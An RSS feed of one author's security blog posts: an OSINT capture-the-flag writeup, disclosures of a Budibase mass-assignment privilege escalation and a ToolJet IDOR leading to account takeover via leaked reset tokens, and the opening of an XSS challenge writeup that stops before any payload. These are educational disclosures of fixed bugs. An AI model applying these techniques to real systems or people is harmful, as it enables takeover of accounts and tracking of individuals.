<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Breno Vitório</title>
    <description>The latest articles on DEV Community by Breno Vitório (@therealbrenu).</description>
    <link>https://dev.to/therealbrenu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F699724%2F89c63bca-2cc5-4d51-acc6-ff3c8b44d089.jpeg</url>
      <title>DEV Community: Breno Vitório</title>
      <link>https://dev.to/therealbrenu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/therealbrenu"/>
    <language>en</language>
    <item>
      <title>Photographs - Writeup</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sun, 19 Nov 2023 00:02:14 +0000</pubDate>
      <link>https://dev.to/therealbrenu/photographs-writeup-2875</link>
      <guid>https://dev.to/therealbrenu/photographs-writeup-2875</guid>
      <description>&lt;p&gt;When you open the challenge's page, this is its' content:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--q8GJo2pJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7te63eoohoipi12ly53w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--q8GJo2pJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7te63eoohoipi12ly53w.png" alt="A picture, and the challenge in a message" width="800" height="483"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By downloading the image and taking a look at its' EXIF metadata, you're going to find the nickname &lt;code&gt;fl0pfl0p5&lt;/code&gt; in the author field. This nickname can be used as input for a tool like Sherlock, or maybe just a google search, and both will result in interesting stuff.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AmJMwm6O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3332v0hmoogzwxv997ew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AmJMwm6O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3332v0hmoogzwxv997ew.png" alt="Sherlock finding social media accounts" width="469" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The google results, in special, give us a more important hint, which is this one:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rUvIbynP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3q2dv0s4vhprhnbgfeoa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rUvIbynP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3q2dv0s4vhprhnbgfeoa.png" alt="Another user referencing the nickname fl0pfl0p5" width="612" height="129"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we open this reddit post, there's a comment referencing fl0pfl0p5's github user, but the person who's making this comment has a different username, which is &lt;code&gt;m4r64r1n3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Sherlock returns similar results for this different username, and by looking at its' twitter account, there's this post of a photo that they took!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--se11-Es1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a8lt8cbgwepa88qm6c3j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--se11-Es1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a8lt8cbgwepa88qm6c3j.png" alt="Photo of a bird" width="737" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By downloading this picture and using it in a reverse image search tool, such as google image's "find source", you are going to find this reddit post:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pyg80g9F--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v9cvwjubol3flqbyh3zp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pyg80g9F--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v9cvwjubol3flqbyh3zp.png" alt="Same picture in a different post" width="800" height="144"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By looking at the reddit post, it was made by a third nickname (this person likes to use different nicknames, damn!), which is &lt;code&gt;v1ck1v4l3&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1uBKJG8E--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0phgchqpeb7r3al7yzde.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1uBKJG8E--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0phgchqpeb7r3al7yzde.png" alt="v1ck1v4l3 post" width="564" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you search for the nickname on Google, there will be a blog with the same name and the same picture as a post!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KTTWgNC0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/91fvhq6fgbj27twg0j2p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KTTWgNC0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/91fvhq6fgbj27twg0j2p.png" alt="v1ck1v4l3 blog" width="586" height="131"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There's an anonymous comment in the picture saying that it's not a good idea to share locations online, so it gives us a hint that the location was shared before, in the blog. Web archive to the rescue!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ny4HVwlF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7r5t2s4ckkjgp0q7i5cy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ny4HVwlF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7r5t2s4ckkjgp0q7i5cy.png" alt="Comment in the picture post" width="492" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By picking up the picture post URL and putting it in the web archive, there will be found a snapshot of it, which contains the flag!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Y2nyHwiW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q1hpdhexe3jy16gqv0fb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Y2nyHwiW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q1hpdhexe3jy16gqv0fb.png" alt="Web archive snapshot" width="191" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PRtqj1-2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/glo8c1lpcpaylokyk77j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PRtqj1-2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/glo8c1lpcpaylokyk77j.png" alt="Result flag" width="800" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>ctf</category>
    </item>
    <item>
      <title>From App User to Tenant Admin</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Mon, 19 Sep 2022 08:59:14 +0000</pubDate>
      <link>https://dev.to/therealbrenu/from-app-user-to-tenant-admin-56pl</link>
      <guid>https://dev.to/therealbrenu/from-app-user-to-tenant-admin-56pl</guid>
      <description>&lt;p&gt;Hello there, y'all! Hope you are doing great 🤗&lt;/p&gt;

&lt;p&gt;Today, I'm gonna be sharing with you the process of finding &lt;a href="https://huntr.dev/bounties/a13a56b7-04da-4560-b8ec-0d637d12a245/"&gt;CVE-2022-3225&lt;/a&gt;. Just like the last post, what I am about to show is not complex at all, but it's really cool and similar bugs can still be found out there!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Continuing The Journey of Securing Low Code App Builders
&lt;/h2&gt;

&lt;p&gt;Right after finding the last bug on Tooljet, I decided to look for issues in similar projects, so I googled for &lt;code&gt;Tooljet vs&lt;/code&gt; and found some software with very near concepts and goals. One of those was Budibase, and I arbitrarily pick it as a new application for testing.&lt;/p&gt;

&lt;p&gt;One thing I like to do is to map what parts of the code can directly interact with user input. I do that just by using the app and monitoring requests with Burp or ZAP. So I got that the "immediate" logic was being handled by controllers, and then I took a look at most of them, hoping for spotting something strange happening.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--702QWdCN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pkiv4db0w94opgtoaeyz.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--702QWdCN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pkiv4db0w94opgtoaeyz.gif" alt="Detective Pikachu" width="498" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  😱 Look! A Mass Assignment!
&lt;/h2&gt;

&lt;p&gt;Out of all those different methods, one that got my attention was the method which updates your own user's information. Why? Well, because it clearly was doing a mass assignment!&lt;/p&gt;

&lt;p&gt;If you don't know what it means, I explain it a little bit better &lt;a href="https://dev.to/therealbrenu/api62019-mass-assignment-3b76"&gt;here&lt;/a&gt;. But this pseudocode &lt;strong&gt;resumes&lt;/strong&gt; what the function was looking like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;updateSelf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# ...some other logic here...&lt;/span&gt;
  &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It was picking up the entire request body and using it to update our user data 😱. This means that if we inserted valid user attributes that are not in the original request made by the browser, it would still work! So I looked for my user's object in some HTTP requests, including this specific one, and noticed some interesting attributes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;builder&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;global&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;global&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So I decided to set this &lt;code&gt;admin.global&lt;/code&gt; value to false, and...Boom! I was not an admin of my tenant anymore, yaaaaay! No, wait! It's not something good 😭&lt;/p&gt;

&lt;p&gt;Luckily, when trying to set it back to true, it also worked 😅&lt;/p&gt;

&lt;h2&gt;
  
  
  🫠 Bringing Some Impact
&lt;/h2&gt;

&lt;p&gt;Okay, but what can we do with it?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ETuyyZxH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ng5k69sdd5zfzrur7og.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ETuyyZxH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ng5k69sdd5zfzrur7og.gif" alt="try to take over the world " width="498" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As an administrator, it doesn't bring any harm to be able to change my own access levels, but this endpoint is available to any authenticated user. So I looked for the lowest access level that exists, and this is the &lt;code&gt;App User&lt;/code&gt;. It's a user that has basically no permissions, other than being capable of running specific apps from the given tenant.&lt;/p&gt;

&lt;p&gt;The app user also has access to a form where they can change their "display name", and this form calls the vulnerable endpoint. So I tried to change the role of my app user to admin and...it worked! 🥳&lt;/p&gt;

&lt;p&gt;Again, okay...but what can we do with it? 🧐&lt;/p&gt;

&lt;p&gt;After digging a little bit, I found that as an admin, I could delete all of the other accounts (including the account of the original admins), and also delete every app or change their content to something else.&lt;/p&gt;

&lt;p&gt;In other words: with one single request, any simple app user could become capable of ruining an entire tenant.&lt;/p&gt;

&lt;p&gt;So I reported it to Budibase, and after validating the bug, they fixed it really fast! Kudos to Budibase mantainers for being amazing! 🤩&lt;/p&gt;

&lt;h2&gt;
  
  
  Thank you for taking your time 🤗
&lt;/h2&gt;

</description>
      <category>opensource</category>
      <category>hacking</category>
      <category>bugbounty</category>
      <category>api</category>
    </item>
    <item>
      <title>Commenting == Account Takeover</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sat, 03 Sep 2022 23:08:20 +0000</pubDate>
      <link>https://dev.to/therealbrenu/commenting-account-takeover-c54</link>
      <guid>https://dev.to/therealbrenu/commenting-account-takeover-c54</guid>
      <description>&lt;p&gt;Hi y'all, how are you doing? Hope you are doing great 🤗&lt;/p&gt;

&lt;p&gt;It's been quite a long time since my last released blog, mostly because I didn't like the themes I've been coming up with. But today, I'm here to share the process that recently got me to find &lt;a href="https://huntr.dev/bounties/a610300b-ce3c-4995-8337-11942b3621bf/"&gt;CVE-2022-3019&lt;/a&gt;, a bug that isn't complex at all, but is definitely something cool to spot as a hunter.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧐 Doing Some Code Review
&lt;/h2&gt;

&lt;p&gt;The whole story started by reading huntr's hacktivity page. I've never thought about testing Low/No Code App Builders before, and it just came to my mind after reading an interesting report there. So I decided to look for bugs in ToolJet, starting with a specific one: IDORs.&lt;/p&gt;

&lt;p&gt;In order to do so, whenever I have access to the source code of a web app, I assume that every routine handling requests like this may be a good IDOR candidate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;showObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Entity&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why is it an IDOR candidate? Well, because apparently the only check that's being done by this routine is whether the object exists or not, there is absolutely no authorization check. It's not always that simple, because not every application handles authorization within the context of a service's function, but most web apps do it like this.&lt;/p&gt;

&lt;p&gt;With this perfect scenario in mind, I went to the code of ToolJet's controllers, and ended up finding a very similar case. The &lt;code&gt;getComment()&lt;/code&gt; method in the Comments Controller had only an authentication middleware, and no checks after that. So after creating an account, theoretically, I could read arbitrary comments even if they were not from the same tenant as my account.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Cool, Breno. And this is the part when you report the super duper critical IDOR you just found, right? 🥳&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kKh-Cysu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qwtahffmesb3s66x25nw.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kKh-Cysu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qwtahffmesb3s66x25nw.gif" alt="Definitely not" width="480" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Definitely not. Because reading arbitrary comments, in my honest opinion, doesn't have any impact. Usually, when we are building stuff cooperatively, the kind of comments that we make doesn't contain sensitive information, and when it does, it's not in a way that can make sense to possible attackers.&lt;/p&gt;

&lt;h2&gt;
  
  
  👀 Looking for Impact
&lt;/h2&gt;

&lt;p&gt;So reading everybody's comments, by itself, is not a huge of an issue. But what else can we do with it?&lt;/p&gt;

&lt;p&gt;I ran an instance of ToolJet, created an account, then I created a comment and looked at the request that had this IDOR, in order to see what data was being retrieved to the browser. Surprisingly, this is what I received:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tOJ_c9lb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y7yagnr652acyoaluv0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tOJ_c9lb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y7yagnr652acyoaluv0d.png" alt="Sensitive user data about the owner of the comment being disclosed" width="880" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It was not only an IDOR, but also a case of Excessive Data Exposure! We got email and password hash being disclosed, and the worst part: we got the password reset token also being leaked! 😱&lt;/p&gt;

&lt;p&gt;At that moment, this token attribute had a null value, but this got me thinking: &lt;code&gt;what if I, as another user, pick up the email value and use it in the "forgot password?" page? Maybe it'll generate a token that I can see with this comment endpoint&lt;/code&gt;. And that's what I tried. &lt;/p&gt;

&lt;p&gt;I created a new account, accessed the comment, got the email of the first account from there, went to the "forgot password" page and pasted that email, then I accessed the comment again and boom! The generated password reset token was there! 🥳&lt;/p&gt;

&lt;p&gt;From this point, it was just a matter of accessing the url of password reset with the generated token, and then I was able to change the password of the first user, and impersonate it 🕵️&lt;/p&gt;

&lt;h2&gt;
  
  
  💡 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;I really like this finding, and I probably would never have found it, if it wasn't for public reports showing me new kinds of apps we can test. Some bug bounty platforms have these amazing hacktivity pages, but we can also discover these cool things from youtube videos, blogs, articles, etc. So...always try to absorb content that is publicly available, it tend to be worth it 🤗&lt;/p&gt;

&lt;p&gt;Also, the whole test started with a simple code review, and that's something that I usually try to do when looking for bugs in open source software. If it's something that interests you, I have this series on &lt;a href="https://dev.to/therealbrenu/series/17377"&gt;OWASP API Top 10&lt;/a&gt;, with some cool stuff that you can look for when hunting for bugs in APIs. Just a few topics include pseudocode examples (see &lt;a href="https://dev.to/therealbrenu/api32019-excessive-data-exposure-4c4p"&gt;API3:2019&lt;/a&gt; and &lt;a href="https://dev.to/therealbrenu/api62019-mass-assignment-3b76"&gt;API6:2019&lt;/a&gt;), but there's also some other stuff that you can test when in a live and running application!&lt;/p&gt;

&lt;h2&gt;
  
  
  🤗 Thanks for Taking Your Time to Read It!
&lt;/h2&gt;

</description>
      <category>hacking</category>
      <category>security</category>
      <category>bugbounty</category>
      <category>lowcode</category>
    </item>
    <item>
      <title>Intigriti 0422 - XSS Challenge Writeup</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sun, 24 Apr 2022 23:16:47 +0000</pubDate>
      <link>https://dev.to/therealbrenu/intigriti-0422-xss-challenge-writeup-4n3m</link>
      <guid>https://dev.to/therealbrenu/intigriti-0422-xss-challenge-writeup-4n3m</guid>
      <description>&lt;p&gt;Hi everyone, hope you are having an amazing day! 🤗&lt;/p&gt;

&lt;p&gt;Today, I'm going to be showing how I solved Intigriti's 0422 XSS Challenge. It is really nostalgic, because reminds me of the initial contacts that I had, as a child, with computers.&lt;/p&gt;

&lt;p&gt;I hope my thought process does make sense to you guys, but in case of any "unclear points", feel free to DM me! 🙋‍♂️&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Getting to Know The Challenge
&lt;/h2&gt;

&lt;p&gt;This is what we find when we access the challenge's page for the first time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--D4MZ1XiT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uxz3cptojb0cwgqygvca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D4MZ1XiT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uxz3cptojb0cwgqygvca.png" alt="Windows XP's interface" width="880" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's a really good clone of Windows XP's interface, I love it! The form just picks up our configuration and uses everything in order to make an amazing "Windows XP like" window, like the following one:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--raTptnZu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/apkiw84h70ytkkbf0r3b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--raTptnZu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/apkiw84h70ytkkbf0r3b.png" alt='Window in which content we have "I love Intigriti"' width="865" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For some reason, it replaced all the space characters with underscores. If we try to add HTML tags, the same happens with the &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; characters. Curious, very curious! 🧐&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--l1B-RfiE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rqcac0fa2bw9nn9tb8lr.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--l1B-RfiE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rqcac0fa2bw9nn9tb8lr.gif" alt="Harry potter reference to Olivanders" width="244" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the window is generated, when we look at the challenge URL, there is a huge query string like this one:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;config%5Bwindow-name%5D=I%20love%20Intigriti&amp;amp;config%5Bwindow-content%5D=I%20love%20Intigriti&amp;amp;config%5Bwindow-toolbar%5D%5B0%5D=min&amp;amp;config%5Bwindow-toolbar%5D%5B1%5D=max&amp;amp;config%5Bwindow-toolbar%5D%5B2%5D=close&amp;amp;config%5Bwindow-statusbar%5D=true&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;or represented as JSON, for easier understanding:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WmE610ZD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rg7r8t4fl58kw3wv12mk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WmE610ZD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rg7r8t4fl58kw3wv12mk.png" alt="config object represented in JSON" width="415" height="232"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So this config object is being used to build the final window, and while searching for the keyword &lt;code&gt;config&lt;/code&gt; in the page code, this can be found in the &lt;code&gt;main()&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iVE_nIJx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9ce55wgrj47vnfbhyb58.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iVE_nIJx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9ce55wgrj47vnfbhyb58.png" alt="Query string object" width="404" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

